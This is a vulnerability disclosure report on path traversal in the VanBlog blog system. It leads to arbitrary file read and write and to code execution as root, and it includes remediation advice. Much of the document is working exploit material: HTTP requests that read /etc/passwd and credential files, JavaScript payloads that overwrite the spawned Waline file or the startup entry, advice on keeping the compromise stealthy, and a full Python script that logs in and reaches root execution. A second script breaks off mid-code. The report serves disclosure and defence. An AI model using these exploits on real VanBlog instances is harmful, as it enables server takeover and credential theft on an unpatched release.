2026-10-19
cve吗?
00

目录

Title: Path Traversal in VanBlog ≤ 0.54.0 Leads to Arbitrary File Read/Write and Remote Code Execution
Summary of exploitation paths
Description:
Proof of Concept:
A. Remote exploitation, immediate (HTTP only — no restart, no host access)
B. Deferred exploitation via the startup entry (executes on the next start)
Impact
Suggested CVSS
Remediation
1. Centralize path validation (core fix, already taken by master)
2. Generate the stored file name server-side
3. Validate the image for real (do not fall back on failure)
4. Run as non-root with a read-only filesystem (blocks the write → RCE upgrade)
5. Verify startup-file integrity
6. Tighten authorization and add auditing
7. Harden responses and transport (shared with the stored-XSS finding)
8. Publish a fixed release
Tested Environment
Appendix A: HTTP-only verification script (Waline spawn sink)
Full script
-- coding: utf-8 --
============================================================================
CONFIG BLOCK (empty = fill in at run time; command line overrides)
============================================================================
============================================================================
---------------------------------------------------------------- helpers
---------------------------------------------------------------- HTTP
---------------------------------------------------------------- primitives
---------------------------------------------------------------- main
Notes on Appendix A
Appendix B: Local reproduction script (startup-entry sink)
Full script
-- coding: utf-8 --
============================================================================
=== CONFIG BLOCK (empty = fill in; command-line options override) ===
============================================================================
note: v0.54.0 hashes the password 3x; master builds 4x (pass the 64-hex hash if the target is master)
============================================================================
---------------------------------------------------------------- helpers
---------------------------------------------------------------- HTTP
---------------------------------------------------------------- primitives
---------------------------------------------------------------- stage A
---------------------------------------------------------------- stage B
---------------------------------------------------------------- main
Notes on Appendix B

Path Traversal in VanBlog ≤ 0.54.0 Leads to Arbitrary File Read/Write and Remote Code Execution

Title: Path Traversal in VanBlog ≤ 0.54.0 Leads to Arbitrary File Read/Write and Remote Code Execution

BUG_Author: Geronimo (VulDB UID 102234)

Affected Version: VanBlog 0.54.0 (latest release, official image mereith/van-blog:latest). Fixed on the master branch only; no fixed release has been published.

Vendor: Mereithhh/vanblog (GitHub)

Software: VanBlog — self-hosted blog system (NestJS + MongoDB backend, Next.js frontend, Umi admin SPA, Caddy reverse proxy, official Docker image)

Vulnerability Files:

  • packages/server/src/provider/static/local.provider.ts (lines 48–49 getFileContent → arbitrary read; lines 76–80 saveFile → arbitrary write)
  • packages/server/src/controller/admin/customPage/customPage.controller.ts (GET /customPage/file, POST /customPage/upload — path / key / name passed through verbatim)
  • packages/server/src/provider/static/static.provider.ts (lines 104–115 — uploaded file name is not normalized)
  • packages/server/src/provider/waline/waline.provider.ts (spawn('node', ['../waline/node_modules/@waline/vercel/vanilla.js']))
  • packages/server/src/controller/admin/setting/setting.controller.ts (PUT /setting/waline → walineProvider.restart())
  • packages/server/src/utils/customPagePath.ts (the fix added on master: normalizeCustomPageRel / resolveCustomPageAbs, throwing ForbiddenException)

Summary of exploitation paths

The path traversal is the root cause; it can be turned into code execution through two different sinks. Both only require HTTP access and an administrator session — no host access, no Docker access.

#Sink that gets executedWhat triggers executionRemote attacker?Timing
1../waline/node_modules/@waline/vercel/vanilla.js (spawned by the server itself)saving the Waline settings (PUT /api/admin/setting/waline)yesimmediate
2/app/server/main.js (Node entry point)any subsequent start of the container: docker restart, watchtower image update, host reboot, or a crash-restart policyyeson the next start

Path 1 is fully immediate: the server spawns the overwritten file as a child process on the next settings save, and that child runs as root.

Path 2 is delayed rather than blocked: the payload is placed on the startup entry and executes as soon as the container is started again. A routine operation by the administrator — restarting the container, re-pulling the image with watchtower, or rebooting the host — is enough. An external attacker cannot trigger this directly, but the payload is persistent and runs as root on the next boot.

Both sinks share one root cause: the name / path parameters of the custom page endpoints are not confined to the custom page directory. The vendor fixed this on master (utils/customPagePath.ts, normalizeCustomPageRel / resolveCustomPageAbs, HTTP 403 for out-of-root paths) but no fixed release has been published — 0.54.0 is still the latest version and the official image is still affected.

Description:

  1. Arbitrary file read (same endpoint family, no path validation on v0.54.0):

    http
    GET /api/admin/customPage/file?path=/&key=../../../../etc/passwd HTTP/1.1 Host: <target> token: <administrator JWT>

    Response returns the file verbatim:

    json
    {"statusCode":200,"data":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\n..."}

    Root cause — local.provider.ts:48:

    ts
    async getFileContent(p: string, subPath: string) { return fs.readFileSync(path.join(config.staticPath, 'customPage', p, subPath), ...); }

    path.join normalizes ../, so any file readable by the process can be read (/etc/passwd, /app/caddy.json, /app/server/.env, /root/.picgo/config.json, …).

  2. Arbitrary file write:

    http
    POST /api/admin/customPage/upload?path=%2F&name=..%2F..%2F..%2F..%2Fetc%2Fx.txt

    Response 201, and the src field even discloses the traversed path:

    json
    {"statusCode":200,"data":{"src":"/static/customPage///../../../../etc/x.txt","isNew":true}}

    Verified writes to /app, /etc and /root (all owned by root).

  3. The process runs as root:

    • id inside the image returns uid=0(root) gid=0(root) groups=0(root)...; /app, /etc and /root are writable.
  4. Sink 1 — the server spawns a file that the traversal can overwrite (immediate execution):

    waline.provider.ts starts Waline as a child process with a relative path:

    ts
    const base = '../waline/node_modules/@waline/vercel/vanilla.js'; this.ctx = spawn('node', [base], { cwd: process.cwd(), detached: true, ... });

    With cwd = /app/server this resolves to /app/waline/node_modules/@waline/vercel/vanilla.js, which is writable through the traversal above.

    setting.controller.ts restarts Waline on every save of its settings:

    ts
    @Put('waline') async updateWalineSetting(@Body() body: WalineSetting) { const res = await this.settingProvider.updateWalineSetting(body); await this.walineProvider.restart('更新 waline 设置,'); // -> run() -> spawn() ... }

    So the sequence is: overwrite the file → save the Waline settings once → the overwritten file is executed by node as root. No container restart is involved.

    Verified output from the overwritten file (official image, no restart):

    WALINE-RCE uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
  5. Sink 2 — the startup entry can be overwritten (execution on the next start):

    Container startup chain:

    /app/entrypoint.sh -> node start.js -> spawn("node", ["main.js"], { cwd: "/app/server" })

    Overwriting /app/server/main.js therefore places the payload on the container's startup path. It executes as root as soon as the container starts again — after a manual restart, an automatic image update, a host reboot, or a crash-restart policy.

    Verified output after a restart:

    VANBLOG-RCE-PROOF uid=0 ts=2026-10-19T11:22:32.337Z ls /: app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var ps aux: PID USER TIME COMMAND 1 root 0:00 sh entrypoint.sh 21 root 0:00 caddy run --pingback 127.0.0.1:42857 --config /app/caddy.json 37 root 0:00 node start.js 44 root 0:00 node main.js 52 root 0:00 ps aux

    The payload runs with the same privileges as the container's main process (PID 1 is sh entrypoint.sh, also root).

  6. Both sinks can be made self-restoring, so the site stays online:

    • Sink 1: the original vanilla.js is read first with the arbitrary-read primitive and written back after execution; the settings are saved once more so Waline keeps serving.
    • Sink 2: the original main.js is saved as main.orig.js, and the payload spawns it as a child process plus a keep-alive timer, so GET /api/public/meta still returns 200 afterwards.
    • An administrator would notice nothing unless the files themselves are inspected.
  7. Evidence collection works over HTTP only:

    The payload writes its output into the served static directory (/app/static/rce-<id>.txt), which is reachable as http://<target>/static/rce-<id>.txt. No host access is needed; /app/static is a Docker volume in the official image, so the file also survives a restart.

  8. The vendor fixed it on master — evidence that this is a recognized vulnerability:

    • New utils/customPagePath.ts:

      ts
      export function normalizeCustomPageRel(...parts: string[]): string { ... throw new ForbiddenException('非法路径'); } export function resolveCustomPageAbs(...parts: string[]): string { ... }
    • static.provider.ts:107 became fileName = normalizeCustomPageRel(customPathname, file.originalname); every read/write/delete in local.provider.ts now goes through resolveCustomPageAbs.

    • Regression tests were added (customPagePath.spec.ts, customPage.provider.upload.spec.ts):

      ts
      expect(() => normalizeCustomPageRel('uptime', '../secret')).toThrow(ForbiddenException); expect(() => resolveCustomPageAbs('uptime/../../../etc/passwd')).toThrow(ForbiddenException);
    • The fix is not part of any release: 0.54.0 is still latestVersion and the official image is still affected.

  9. Control — the same requests on master:

    Targetread /etc/passwdupload ../../etc/x
    v0.54.0 release imageHTTP 200 + contentHTTP 201
    master source buildHTTP 403 {"message":"非法路径"}HTTP 403
  10. Path confinement is the actual defect, not the feature itself:

    The legitimate feature only writes inside <static>/customPage/. The same request with a ../ sequence must therefore be rejected — and it is, on master:

    Request (same endpoint, same feature)v0.54.0master
    name=inside-demo.txt (legitimate)201 → <static>/customPage/inside-demo.txt201 → same
    name=../../../../tmp/outside.txt201 → /tmp/outside.txt403 非法路径

    The vendor's own fix treats out-of-root paths as invalid, which is why this is a defect and not intended behaviour.

Proof of Concept:

A. Remote exploitation, immediate (HTTP only — no restart, no host access)

  1. Confirm the version:

    GET /api/public/meta -> {"version":"v0.54.0","latestVersion":"v0.54.0"}
  2. Arbitrary read — confirm the primitive and grab the file to restore later:

    GET /api/admin/customPage/file?path=/&key=../../../../etc/passwd -> 200, 29 lines, first three: root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin GET /api/admin/customPage/file?path=/&key=../../../../app/waline/node_modules/@waline/vercel/vanilla.js -> 200, 391 bytes (official image)
  3. Arbitrary write — overwrite the file the server spawns:

    POST /api/admin/customPage/upload?path=/&name=../../../../app/waline/node_modules/@waline/vercel/vanilla.js -> 201 {"src":"/static/customPage///../../../../app/waline/node_modules/@waline/vercel/vanilla.js"}

    The payload used for verification only runs id, writes one marker file and exits:

    js
    const fs = require('fs'); const { execSync } = require('child_process'); const NL = String.fromCharCode(10); let o = ''; try { o = execSync('id 2>&1').toString().trim(); } catch (e) { o = 'ERR ' + e.message; } try { fs.writeFileSync('/app/static/waline-rce-<id>.txt', 'WALINE-RCE ' + o + NL); } catch (e) {} process.exit(0);
  4. Trigger the spawn by saving the Waline settings once:

    GET /api/admin/setting/waline -> current settings PUT /api/admin/setting/waline (same body) -> 200
  5. Fetch the result over HTTP:

图片.png

GET /static/waline-rce-<id>.txt -> WALINE-RCE uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
  1. Restore the original file (optional) and save the settings again so Waline keeps serving.

B. Deferred exploitation via the startup entry (executes on the next start)

  1. Read the original entry (for the self-restore variant):

    GET /api/admin/customPage/file?path=/&key=../../../../app/server/main.js -> 5118 bytes
  2. Overwrite it:

    POST /api/admin/customPage/upload?path=/&name=../../../../app/server/main.js -> 201 (payload)
  3. Any later start executes it as root — a manual docker restart, a watchtower image update, a host reboot, or a crash-restart policy. Verified after a restart:

    VANBLOG-RCE-PROOF uid=0 ts=2026-10-19T11:22:32.337Z ls /: app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var ps aux: PID USER TIME COMMAND 1 root 0:00 sh entrypoint.sh 21 root 0:00 caddy run --pingback 127.0.0.1:42857 --config /app/caddy.json 37 root 0:00 node start.js 44 root 0:00 node main.js 52 root 0:00 ps aux

    Also verified on a root-only directory:

    ls -la /root: drwx------ root .cache .config .local .npm .picgo .step
  4. Result retrieval over HTTP (web proof mode):

    GET http://<target>/static/rce-humm4m.txt
  5. The service is restored automatically (stealth check):

    GET /api/public/meta -> HTTP 200 (the payload re-launched the original entry as a child)

C. Lab-only verification (not part of the attack chain)

The following commands were used while verifying on a disposable local container. They are not available to a remote attacker; the same facts are already proven over HTTP by the marker files.

docker restart <container> docker logs <container> | grep RCE-PROOF # the container's own stdout docker exec <container> id # matches uid in the result docker inspect <container> --format '{{.Id}}' # prefix == hostname in the result curl http://<target>/static/rce-*.txt # fetched directly, independent of any tool

Impact

An attacker holding an administrator session — obtained directly, or through the stored XSS in the same product, which lets a zero-permission collaborator steal the administrator JWT — can:

  • read any file — database connection string, caddy.json, image-host credentials, credentials under /root;
  • write any file as root — including the Node startup entry and files that the server spawns;
  • execute arbitrary commands as root, either immediately (Waline spawn sink) or on the next start of the container (startup-entry sink);
  • and restore normal service afterwards, so the site keeps answering 200 and the compromise is hard to notice.

This results in full control of the container: credentials, site content, persistent backdoors and lateral movement.

Chained with the stored XSS, the attack starts at PR

(zero-permission collaborator), giving CVSS 9.3.

Suggested CVSS

  • Administrator starting point: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H = 9.1 (Critical) — no restart and no host access are required for the primary (Waline spawn) path.
  • Chained from the stored XSS (PR
    ): CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.3 (Critical)
  • Weaknesses: CWE-22 (Path Traversal), CWE-434 (Unrestricted Upload of File with Dangerous Type), CWE-269 (Improper Privilege Management — running as root)

Remediation

1. Centralize path validation (core fix, already taken by master)

Add packages/server/src/utils/customPagePath.ts and route every path through it:

ts
export function normalizeCustomPageRel(...parts: string[]): string { const rel = toPosixRel(path.join(...parts)); // normalize first (removes ../) if (!rel || rel.startsWith('..') || path.isAbsolute(rel)) { throw new ForbiddenException('invalid path'); } return rel; } export function resolveCustomPageAbs(...parts: string[]): string { const root = path.resolve(config.staticPath, 'customPage'); const abs = path.resolve(root, normalizeCustomPageRel(...parts)); if (abs !== root && !abs.startsWith(root + path.sep)) { // second boundary check throw new ForbiddenException('invalid path'); } return abs; }

Then update all call sites (not just one):

  • local.provider.ts: getFileContent, saveFile, deleteCustomPageFile, getFolderFiles, updateCustomPageFileContent
  • static.provider.ts:107: fileName = normalizeCustomPageRel(customPathname, file.originalname)

Rule for code review: any new endpoint must use these helpers — path.join(staticPath, userInput) should be rejected.

2. Generate the stored file name server-side

ts
const ext = path.extname(file.originalname).toLowerCase(); const ALLOW = ['.jpg', '.jpeg', '.png', '.gif', '.webp', '.avif']; if (!ALLOW.includes(ext)) throw new BadRequestException('unsupported file type'); const fileName = `${currentSign}${ext}`; // ignore originalname completely

3. Validate the image for real (do not fall back on failure)

Decode and re-encode with sharp; reject anything that fails instead of keeping the original bytes:

ts
const img = await sharp(buffer).toBuffer(); // throws -> respond 400

4. Run as non-root with a read-only filesystem (blocks the write → RCE upgrade)

dockerfile
USER node
yaml
# docker-compose read_only: true tmpfs: ["/tmp", "/var/log"] volumes: ["static:/app/static"]

With this, an arbitrary file write can no longer overwrite /app/server/main.js, /app/entrypoint.sh or /app/waline/node_modules/@waline/vercel/vanilla.js.

5. Verify startup-file integrity

entrypoint.sh should verify the entry hash (or an image signature) before starting and refuse to boot on mismatch:

sh
sha256sum -c /app/server/main.js.sha256 || { echo "main.js tampered"; exit 1; }

The same applies to the files that are spawned later (waline, website).

6. Tighten authorization and add auditing

  • Remove the customPage routes from the collaborator whitelist; require an explicit customPage:* permission.
  • Log operator, original file name and resolved absolute path for upload / delete / file (read and write) — traversal attempts then become visible.

7. Harden responses and transport (shared with the stored-XSS finding)

  • X-Content-Type-Options: nosniff on /static;
  • Content-Disposition: attachment for non-image types;
  • Content-Security-Policy: default-src 'self'; object-src 'none'; frame-ancestors 'self';
  • move the admin JWT from localStorage to an HttpOnly; Secure; SameSite=Strict cookie.

8. Publish a fixed release

0.54.0 is still the latest release and remains affected. Publish a release containing the fix and reference the CVE in the changelog / GitHub Security Advisory so downstream users and scanners can act on it.

Tested Environment

  • Official image mereith/van-blog:latest (reports v0.54.0) with mongo:4.4.16, disposed after the test.
  • Control: master branch built from source (tsc -p tsconfig.build.json) against the same MongoDB.
  • Container identity uid=0(root); reading /etc/passwd, writing /app /etc /root, executing id via the Waline spawn sink, and executing ls / / ps aux through the startup entry all succeeded; the site returned HTTP 200 again afterwards (self-restore active).
  • Every step of the remote path is reproducible with a browser plus Burp/curl; Appendix A provides an HTTP-only verification script.

Appendix A: HTTP-only verification script (Waline spawn sink)

waline_verify.py (Python 3, standard library only) reproduces the immediate path end to end. It reads the original file first and restores it at the end, so the instance keeps working; the payload itself only runs id, writes one marker file under /app/static and exits.

bash
python waline_verify.py --base http://target --user admin --pass 'MyPass123' # or with an existing token python waline_verify.py --base http://target --token eyJ...

Credentials can also be supplied through the environment variable VANBLOG_PASS; the CONFIG block intentionally ships empty so that published copies never contain real credentials.

Full script

python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ VanBlog - RCE without container restart (Waline spawn sink) ================================================================================ Affected: VanBlog 0.54.0 (official image mereith/van-blog:latest). Fixed on master only (packages/server/src/utils/customPagePath.ts); no fixed release yet. Two sinks are reachable through the same path traversal in the custom page API: Sink 1 (original advisory): overwrite /app/server/main.js, then the container must be restarted. Sink 2 (this script): overwrite ../waline/node_modules/@waline/vercel/vanilla.js, then the server itself spawns it with `node` on the next Waline settings save. No container restart and no host access are required. Verified root cause (writer): POST /api/admin/customPage/upload?path=/&name=../../../../<abs path> -> local.provider.ts -> fs.writeFileSync(path.join(staticPath,'customPage',name)) Verified root cause (trigger): packages/server/src/provider/waline/waline.provider.ts const base = '../waline/node_modules/@waline/vercel/vanilla.js'; this.ctx = spawn('node', [base], { cwd: process.cwd(), detached: true, ... }); packages/server/src/controller/admin/setting/setting.controller.ts PUT /api/admin/setting/waline -> walineProvider.restart() Safety notes: * The original file is read first with the arbitrary-read primitive and restored at the end. * The payload only runs `id`, writes one marker file under /app/static and exits. * Use it only against systems you are authorized to test. Usage: python waline_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' python waline_verify.py --base http://127.0.0.1:18095 --token eyJ... --no-restore Exit codes: 0=code execution reproduced 1=not reproduced 3=configuration/authentication failure Python standard library only. """ # ============================================================================ # CONFIG BLOCK (empty = fill in at run time; command line overrides) # ============================================================================ BASE_URL = "" # e.g. "http://127.0.0.1:18095" TOKEN = "" # existing JWT (takes priority) USER = "" # e.g. "admin" PASS = "" # plaintext or the 64-char front-end hash # note: v0.54.0 hashes 3x, master builds 4x TARGET = "/app/waline/node_modules/@waline/vercel/vanilla.js" # file spawned by the server MARKER_DIR = "/app/static" # served over HTTP as /static/... TRIGGER = "/api/admin/setting/waline" # saving this setting calls walineProvider.restart() TRAVERSAL = "../../../../" RESTORE = True # put the original file back when done WAIT = 40 # seconds to wait for the marker file TIMEOUT = 25 # ============================================================================ import argparse import hashlib import json import os import random import string import sys import time import urllib.error import urllib.parse import urllib.request # ---------------------------------------------------------------- helpers def sha256_hex(s): return hashlib.sha256(s.encode("utf-8")).hexdigest() def encrypt_pwd(username, password): """Mirrors the front-end encryptPwd.js (3 rounds on v0.54.0, 4 rounds on master).""" u = username.lower() a = password for _ in range(3): a = sha256_hex(a) return sha256_hex(u + sha256_hex(a + sha256_hex(u))) def is_front_hash(s): s = str(s) return len(s) == 64 and all(c in "0123456789abcdefABCDEF" for c in s) def marker(n=6): return "".join(random.choices(string.ascii_lowercase + string.digits, k=n)) def hdr(t): print("=" * 78, flush=True) print(t, flush=True) print("=" * 78, flush=True) def ok(m): print(" [PASS] " + m, flush=True) def bad(m): print(" [FAIL] " + m, flush=True) def info(m): print(" [ .. ] " + m, flush=True) # ---------------------------------------------------------------- HTTP def req(cfg, method, path, token=None, json_body=None, body=None, headers=None): url = path if path.startswith("http") else cfg["base"] + path hdrs = dict(headers or {}) if token: hdrs["token"] = token data = None if json_body is not None: data = json.dumps(json_body).encode() hdrs["Content-Type"] = "application/json" elif body is not None: data = body r = urllib.request.Request(url, data=data, headers=hdrs, method=method) try: with urllib.request.urlopen(r, timeout=cfg["timeout"]) as resp: return resp.status, dict(resp.headers), resp.read() except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() except Exception as e: return 0, {}, str(e).encode() def jreq(cfg, method, path, token=None, json_body=None): st, hd, raw = req(cfg, method, path, token, json_body) try: return st, hd, json.loads(raw.decode("utf-8", "replace")) except Exception: return st, hd, {} def multipart(content, filename, ctype): b = "----vbw" + "".join(random.choices(string.ascii_letters + string.digits, k=16)) body = b"" body += ("--%s\r\n" % b).encode() body += ('Content-Disposition: form-data; name="file"; filename="%s"\r\n' % filename).encode() body += ("Content-Type: %s\r\n\r\n" % ctype).encode() body += content + b"\r\n" body += ("--%s--\r\n" % b).encode() return body, "multipart/form-data; boundary=" + b # ---------------------------------------------------------------- primitives def read_file(cfg, token, abs_target): """Arbitrary read: GET /customPage/file with a traversal in key.""" q = urllib.parse.quote(cfg["traversal"] + abs_target.lstrip("/"), safe="") return req(cfg, "GET", "/api/admin/customPage/file?path=%2F&key=" + q, token) def write_file(cfg, token, abs_target, content, filename, ctype): """Arbitrary write: POST /customPage/upload with a traversal in name.""" name = cfg["traversal"] + abs_target.lstrip("/") body, ct = multipart(content, filename, ctype) url = "/api/admin/customPage/upload?path=%2F&name=" + urllib.parse.quote(name, safe="") return req(cfg, "POST", url, token, body=body, headers={"Content-Type": ct}), name def payload_js(mk, marker_dir): """Writes one marker file with `id` output, then exits. No persistence, no network.""" js = ( "const fs=require('fs');const{execSync}=require('child_process');" "const NL=String.fromCharCode(10);let o='';" "try{o=execSync('id 2>&1').toString().trim()}catch(e){o='ERR '+e.message};" "try{fs.writeFileSync('%s/waline-rce-%s.txt','WALINE-RCE '+o+NL)}catch(e){};" "console.log('WALINE-RCE-EXEC '+o);process.exit(0);" ) % (marker_dir, mk) return js.encode() # ---------------------------------------------------------------- main def main(): ap = argparse.ArgumentParser(description="VanBlog Waline-spawn RCE verification (no restart)") ap.add_argument("--base", default=None) ap.add_argument("--token", default=None) ap.add_argument("--user", default=None) ap.add_argument("--pass", dest="password", default=None) ap.add_argument("--target", default=None) ap.add_argument("--no-restore", dest="no_restore", action="store_true", default=False) ap.add_argument("--wait", type=int, default=None) args = ap.parse_args() cfg = { "base": (args.base or BASE_URL or "").rstrip("/"), "token": args.token or TOKEN or "", "user": args.user or USER or "", "pass": args.password or PASS or "", "target": args.target or TARGET, "marker_dir": MARKER_DIR, "trigger": TRIGGER, "traversal": TRAVERSAL, "wait": args.wait if args.wait is not None else WAIT, "timeout": TIMEOUT, } print("-" * 78, flush=True) print("Effective configuration", flush=True) print(" BASE_URL = %s" % (cfg["base"] or "(not set)"), flush=True) print(" TARGET = %s" % cfg["target"], flush=True) print(" MARKER_DIR = %s" % cfg["marker_dir"], flush=True) print(" TRIGGER = PUT %s" % cfg["trigger"], flush=True) print(" RESTORE = %s" % (not args.no_restore), flush=True) print("-" * 78, flush=True) if not cfg["base"]: bad("BASE_URL is not set. Pass --base, e.g. --base http://127.0.0.1:18095") return 3 hdr("Pre-checks") st, _, j = jreq(cfg, "GET", "/api/public/meta") ver = ((j.get("data") or {}).get("version")) if isinstance(j, dict) else None info("version = %s" % ver) if st != 200: bad("target unreachable: %s" % cfg["base"]) return 3 token = cfg["token"] if not token: if not (cfg["user"] and cfg["pass"]): bad("no credentials (--user/--pass or --token)") return 3 pw = cfg["pass"] if is_front_hash(cfg["pass"]) else encrypt_pwd(cfg["user"], cfg["pass"]) st, _, j = jreq(cfg, "POST", "/api/admin/auth/login", json_body={"username": cfg["user"], "password": pw}) token = ((j.get("data") or {}).get("token")) if isinstance(j, dict) else None info("login %s -> HTTP %s token=%s" % (cfg["user"], st, "yes" if token else "no")) if not token: bad("authentication failed") return 3 st, _, j = jreq(cfg, "GET", "/api/admin/meta", token) u = ((j.get("data") or {}).get("user")) or {} info("session: name=%s id=%s type=%s" % (u.get("name"), u.get("id"), u.get("type"))) if u.get("type") != "admin": bad("an administrator session is required") return 3 # 1) read the original file (also proves the arbitrary read) hdr("Step 1 - read the original Waline entry (arbitrary read)") st, _, raw = read_file(cfg, token, cfg["target"]) try: orig = json.loads(raw.decode("utf-8", "replace")).get("data") or "" except Exception: orig = "" info("HTTP %s, %d bytes" % (st, len(orig))) if st != 200 or not orig: bad("could not read the target file (is the path correct for this image?)") return 1 # 2) overwrite it hdr("Step 2 - overwrite it (arbitrary write)") mk = marker() (st, _, raw), name = write_file(cfg, token, cfg["target"], payload_js(mk, cfg["marker_dir"]), "vanilla.js", "application/javascript") info("name=%s" % name) info("HTTP %s %s" % (st, raw.decode("utf-8", "replace")[:140])) if st not in (200, 201): bad("write failed") return 1 # 3) trigger the spawn hdr("Step 3 - save the Waline settings to trigger spawn('node', [target])") st, _, cur = jreq(cfg, "GET", cfg["trigger"], token) body = (cur.get("data") or {}) if isinstance(cur, dict) else {} st, _, resp = jreq(cfg, "PUT", cfg["trigger"], token, body) info("PUT %s -> HTTP %s %s" % (cfg["trigger"], st, json.dumps(resp)[:120])) # 4) wait for the marker hdr("Step 4 - wait for the marker file") url = "/static/waline-rce-%s.txt" % mk got = None for _ in range(cfg["wait"] * 2): st2, _, raw2 = req(cfg, "GET", url) if st2 == 200 and b"WALINE-RCE" in raw2: got = raw2.decode("utf-8", "replace").strip() break time.sleep(0.5) if got: ok("code executed as root: %s" % got) info("marker URL: %s%s" % (cfg["base"], url)) else: bad("no marker produced (the target may be patched, or the path differs)") # 5) restore if RESTORE and not args.no_restore: hdr("Step 5 - restore the original file") (st, _, raw), _ = write_file(cfg, token, cfg["target"], orig.encode(), "vanilla.js", "application/javascript") info("restore -> HTTP %s (%d bytes)" % (st, len(orig))) st, _, _ = jreq(cfg, "PUT", cfg["trigger"], token, body) info("triggered a restart again so Waline keeps serving") print() print("-" * 78, flush=True) print("Conclusion: RCE reproduced WITHOUT a container restart" if got else "Conclusion: not reproduced", flush=True) print("-" * 78, flush=True) return 0 if got else 1 if __name__ == "__main__": sys.exit(main())

Notes on Appendix A

  • The script restores the original vanilla.js and re-triggers a restart, so Waline keeps serving.
  • It only calls /api/admin/auth/login, /api/admin/customPage/* (read and write) and PUT /api/admin/setting/waline; it never deletes data.
  • The marker contains uid=, so you can tell whether the payload ran as root.

Appendix B: Local reproduction script (startup-entry sink)

rce_verify.py (Python 3, standard library only) performs three stages against a disposable container:

  • Stage A: arbitrary file read (/etc/passwd) — non-destructive, enabled by default.
  • Stage B: arbitrary file write probe.
  • Stage C: overwrite the startup entry and verify execution — requires a restart trigger, which only exists in a local lab (--restart-cmd "docker restart <container>"); it is not available against a remote target.
bash
# Stage A only (safe) python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' # A + write probe (no restart) python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' \ --also-write --proof-mode web # A + B + restart -> RCE with custom commands (local lab only) python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' \ --phase-b --proof-mode web --restart-cmd "docker restart vb-rce" \ --exec-cmd "ls /" --exec-cmd "ps aux" --exec-cmd "id"

Full script

python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ VanBlog Path Traversal - arbitrary file read / arbitrary file write / RCE verification script ================================================================================ Affects released v0.54.0 and earlier only; master already fixes it via utils/customPagePath.ts (403 forbidden path). Three primitives (same endpoint family, none of them validated on v0.54.0): A. Arbitrary file read (non-destructive; this is the default) GET /api/admin/customPage/file?path=/&key=../../../../etc/passwd local.provider.ts:48 getFileContent() -> fs.readFileSync(path.join(staticPath,'customPage',p,subPath)) B. Arbitrary file write POST /api/admin/customPage/upload?path=/&name=../../../../app/... local.provider.ts:80 saveFile() -> fs.writeFileSync(path.join(...)) the process runs as root (uid=0) and can write /app, /etc, /root C. Write + restart = RCE (destructive; only runs when --phase-b is given) entrypoint.sh -> node start.js -> spawn("node",["main.js"],{cwd:"/app/server"}) after overwriting /app/server/main.js and restarting, the payload runs id / whoami / uname as root and reports back. Warning: stage C permanently destroys the target's startup file (the image has no restore API); only run it in a disposable container. Usage: # read /etc/passwd only (default, safe) python rce_verify.py --base http://127.0.0.1:18095 --user admin --pass 'MyPass123' # read + write probe (no restart, the instance stays usable) python rce_verify.py --base ... --user admin --pass '...' --also-write # read + write + restart -> RCE (disposable container; executes id and reports back) python rce_verify.py --base ... --user admin --pass '...' --phase-b \ --restart-cmd "docker restart vb-rce" \ --proof-host "F:\\...\\.master-run\\rce-proof" --proof-container /tmp/proof Exit codes: 0=goal reached 1=not reproduced (probably patched) 3=configuration/authentication failure Python standard library only. """ # ============================================================================ # === CONFIG BLOCK (empty = fill in; command-line options override) === # ============================================================================ BASE_URL = "" # required | e.g. "http://127.0.0.1:18095" ADMIN_URL = "" # optional | empty = BASE_URL + "/admin/" TOKEN = "" # optional | existing JWT USER = "" # optional | e.g. "admin" PASS = "" # recommended empty: pass with --pass or the VANBLOG_PASS env var # note: v0.54.0 hashes the password 3x; master builds 4x (pass the 64-hex hash if the target is master) # format: plaintext "MyPass123" or the 64-char front-end hash "0123456789abcdef..." (auto-detected) READ_TARGET = "/etc/passwd" # stage A target (absolute path inside the container) ENABLE_PHASE_B = False # * whether to run "write + restart -> RCE" (destructive) ALSO_WRITE = False # also do a write probe during stage A (no restart) TARGET_FILE = "/app/server/main.js" # stage B overwrite target PAYLOAD_MARK = "VANBLOG-RCE-PROOF" # prefix of the marker written by the payload EXEC_CMDS = ["id", "whoami", "hostname", "uname -a", "pwd"] # * commands executed inside the target (--exec-cmd adds/overrides) PROOF_MODE = "host" # "host"=write into a host bind mount (lab) | "web"=write /app/static and read back over HTTP (real remote target) PROOF_HOST = "" # host mode: e.g. r"F:\...\.master-run\rce-proof" PROOF_CONTAINER = "/tmp/proof" # host mode: mount point inside the container WEB_PROOF_PATH = "/app/static" # web mode: output directory (served under /static) RESTART_CMD = "" # e.g. "docker restart vb-rce" PROOF_WAIT = 90 TIMEOUT = 25 # ============================================================================ import argparse import hashlib import json import os import random import shlex import string import subprocess import sys import time import urllib.error import urllib.parse import urllib.request TRAVERSAL = "../../../../" # ---------------------------------------------------------------- helpers def sha256_hex(s): return hashlib.sha256(s.encode("utf-8")).hexdigest() def encrypt_pwd(username, password): """Mirrors the front-end encryptPwd.js (this is exactly what the server compares against).""" u = username.lower() a = password for _ in range(3): a = sha256_hex(a) return sha256_hex(u + sha256_hex(a + sha256_hex(u))) def is_front_hash(s): s = str(s) return len(s) == 64 and all(c in "0123456789abcdefABCDEF" for c in s) def marker(n=6): return "".join(random.choices(string.ascii_lowercase + string.digits, k=n)) def hdr(t): print("=" * 78, flush=True) print(t, flush=True) print("=" * 78, flush=True) def ok(m): print(" [PASS] " + m, flush=True) def bad(m): print(" [FAIL] " + m, flush=True) def 